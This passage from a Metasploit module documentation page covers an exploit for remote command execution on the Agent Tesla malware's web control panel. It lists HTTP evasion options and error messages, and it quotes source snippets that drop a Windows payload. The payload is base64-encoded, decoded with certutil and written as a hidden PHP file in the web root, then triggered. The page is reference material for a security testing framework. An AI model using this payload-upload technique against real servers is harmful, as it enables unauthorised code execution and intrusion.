HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
- The USERNAME option is defined but PASSWORD is not, please set PASSWORD.
- The PASSWORD option is defined but USERNAME is not, please set USERNAME.
- Unauthenticated RCE can't be exploited, retry if you gain CnC credentials.
- Could not determine the targeted operating system.
- This module currently doesn't support exploiting Linux targets!
- Payload upload failed :(
- This module currently doesn't support exploiting Linux targets! This error should never be hit!
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
The USERNAME option is defined but PASSWORD is not, please set PASSWORD.
Here is a relevant code snippet related to the "The USERNAME option is defined but PASSWORD is not, please set PASSWORD." error message:
148: end
149:
150: def check
151: # check for login credentials couple.
152: if datastore['USERNAME'] && datastore['PASSWORD'].nil?
153: fail_with(Failure::BadConfig, 'The USERNAME option is defined but PASSWORD is not, please set PASSWORD.')
154: end
155:
156: if datastore['PASSWORD'] && datastore['USERNAME'].nil?
157: fail_with(Failure::BadConfig, 'The PASSWORD option is defined but USERNAME is not, please set USERNAME.')
158: end
The PASSWORD option is defined but USERNAME is not, please set USERNAME.
Here is a relevant code snippet related to the "The PASSWORD option is defined but USERNAME is not, please set USERNAME." error message:
152: if datastore['USERNAME'] && datastore['PASSWORD'].nil?
153: fail_with(Failure::BadConfig, 'The USERNAME option is defined but PASSWORD is not, please set PASSWORD.')
154: end
155:
156: if datastore['PASSWORD'] && datastore['USERNAME'].nil?
157: fail_with(Failure::BadConfig, 'The PASSWORD option is defined but USERNAME is not, please set USERNAME.')
158: end
159:
160: response = send_request_cgi(
161: 'method' => 'GET',
162: 'uri' => normalize_uri(target_uri.path, 'server_side', 'scripts', 'server_processing.php')
Unauthenticated RCE can't be exploited, retry if you gain CnC credentials.
Here is a relevant code snippet related to the "Unauthenticated RCE can't be exploited, retry if you gain CnC credentials." error message:
162: 'uri' => normalize_uri(target_uri.path, 'server_side', 'scripts', 'server_processing.php')
163: )
164:
165: if response
166: if response.redirect? && response.headers['location'] =~ /login.php/ && !(datastore['USERNAME'] && datastore['PASSWORD'])
167: print_warning('Unauthenticated RCE can\'t be exploited, retry if you gain CnC credentials.')
168: return Exploit::CheckCode::Unknown
169: end
170:
171: rand_str = Rex::Text.rand_text_alpha(8..16)
172: cmd_output = parse_response(execute_command("echo #{rand_str}"))
Could not determine the targeted operating system.
Here is a relevant code snippet related to the "Could not determine the targeted operating system." error message:
178: end
179:
180: def exploit
181: os = os_get_name
182: unless os
183: print_bad('Could not determine the targeted operating system.')
184: return Msf::Exploit::Failed
185: end
186: print_status("Targeted operating system is: #{os}")
187:
188: file_name = ".#{Rex::Text.rand_text_alpha(10)}.php"
This module currently doesn't support exploiting Linux targets!
Here is a relevant code snippet related to the "This module currently doesn't support exploiting Linux targets!" error message:
186: print_status("Targeted operating system is: #{os}")
187:
188: file_name = ".#{Rex::Text.rand_text_alpha(10)}.php"
189: case os
190: when /linux/
191: fail_with(Failure::NoTarget, "This module currently doesn't support exploiting Linux targets!")
192: when /windows/
193: cmd = "echo #{Rex::Text.encode_base64(payload.encoded)} > #{file_name}.b64 & certutil -decode #{file_name}.b64 #{file_name} & del #{file_name}.b64"
194: end
195: print_status("Sending #{datastore['PAYLOAD']} command payload")
196: vprint_status("Generated command payload: #{cmd}")
Payload upload failed :(
Here is a relevant code snippet related to the "Payload upload failed :(" error message:
195: print_status("Sending #{datastore['PAYLOAD']} command payload")
196: vprint_status("Generated command payload: #{cmd}")
197:
198: response = execute_command(cmd)
199: unless response && response.code == 200 && response.body.include?('command completed successfully')
200: fail_with(Failure::UnexpectedReply, 'Payload upload failed :(')
201: end
202: if os == 'windows'
203: panel_uri = datastore['TARGETURI'].gsub('/', '\\')
204: print_status("Payload uploaded as: #{file_name} to C:\\wamp64\\www\\#{panel_uri}\\server_side\\scripts\\#{file_name}")
205: register_file_for_cleanup("C:\\wamp64\\www\\#{panel_uri}\\server_side\\scripts\\#{file_name}")
This module currently doesn't support exploiting Linux targets! This error should never be hit!
Here is a relevant code snippet related to the "This module currently doesn't support exploiting Linux targets! This error should never be hit!" error message:
202: if os == 'windows'
203: panel_uri = datastore['TARGETURI'].gsub('/', '\\')
204: print_status("Payload uploaded as: #{file_name} to C:\\wamp64\\www\\#{panel_uri}\\server_side\\scripts\\#{file_name}")
205: register_file_for_cleanup("C:\\wamp64\\www\\#{panel_uri}\\server_side\\scripts\\#{file_name}")
206: else
207: fail_with(Failure::NoTarget, "This module currently doesn't support exploiting Linux targets! This error should never be hit!")
208: end
209:
210: # Triggering payload.
211: send_request_cgi({
212: 'method' => 'GET',
Go back to menu.
Related Pull Requests
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_file
method - #15540 Merged Pull Request: Add option for running
cmd_execute
in a subshell - #15303 Merged Pull Request: Fix
dir
method for windows shell sessions - #15547 Merged Pull Request: Bump rex-text to 0.2.36
References
- CVE: Not available
- EDB-47256
- https://github.com/mekhalleh/agent_tesla_panel_rce/tree/master/resources
- https://www.pirates.re/agent-tesla-remote-command-execution-(fighting-the-webpanel)
- https://krebsonsecurity.com/2018/10/who-is-agent-tesla/
See Also
Check also the following modules related to this module:
- exploit/linux/http/linksys_wvbr0_user_agent_exec_noauth
- exploit/linux/local/juju_run_agent_priv_esc
- exploit/linux/misc/netsupport_manager_agent
- exploit/multi/http/magento_unserialize
- exploit/multi/misc/arkeia_agent_exec
- exploit/multi/misc/teamcity_agent_xmlrpc_exec
- exploit/multi/veritas/beagent_sha_auth_rce
- exploit/multi/wyse/hagent_untrusted_hsdata
- exploit/unix/misc/zabbix_agent_exec
- exploit/unix/webapp/oracle_vm_agent_utl
- exploit/windows/antivirus/trendmicro_serverprotect_earthagent
- exploit/windows/backupexec/remote_agent
- exploit/windows/brightstor/sql_agent
- exploit/windows/brightstor/universal_agent
- exploit/windows/browser/aol_icq_downloadagent
- exploit/windows/emc/alphastor_agent
- exploit/windows/http/hp_sitescope_runomagentcommand
- exploit/windows/http/steamcast_useragent
- exploit/windows/isapi/rsa_webagent_redirect
- exploit/windows/misc/agentxpp_receive_agentx
- exploit/windows/misc/hp_loadrunner_magentproc
- exploit/windows/misc/hp_loadrunner_magentproc_cmdexec
- exploit/windows/misc/hp_magentservice
- exploit/windows/misc/hp_operations_agent_coda_34
- exploit/windows/misc/hp_operations_agent_coda_8c
- exploit/windows/misc/veeam_one_agent_deserialization
- exploit/windows/novell/zenworks_desktop_agent
- auxiliary/scanner/http/dlink_user_agent_backdoor
- auxiliary/scanner/http/groupwise_agents_http_traversal
- post/multi/sap/smdagent_get_properties
- exploit/multi/http/zemra_panel_rce
- exploit/multi/http/zpanel_information_disclosure_rce
- exploit/linux/local/zpanel_zsudo
- exploit/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec
- exploit/unix/webapp/zpanel_username_exec
Authors
- Ege Balcı <[email protected]>
- mekhalleh (RAMELLA Sébastien)
- gwillcox-r7
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.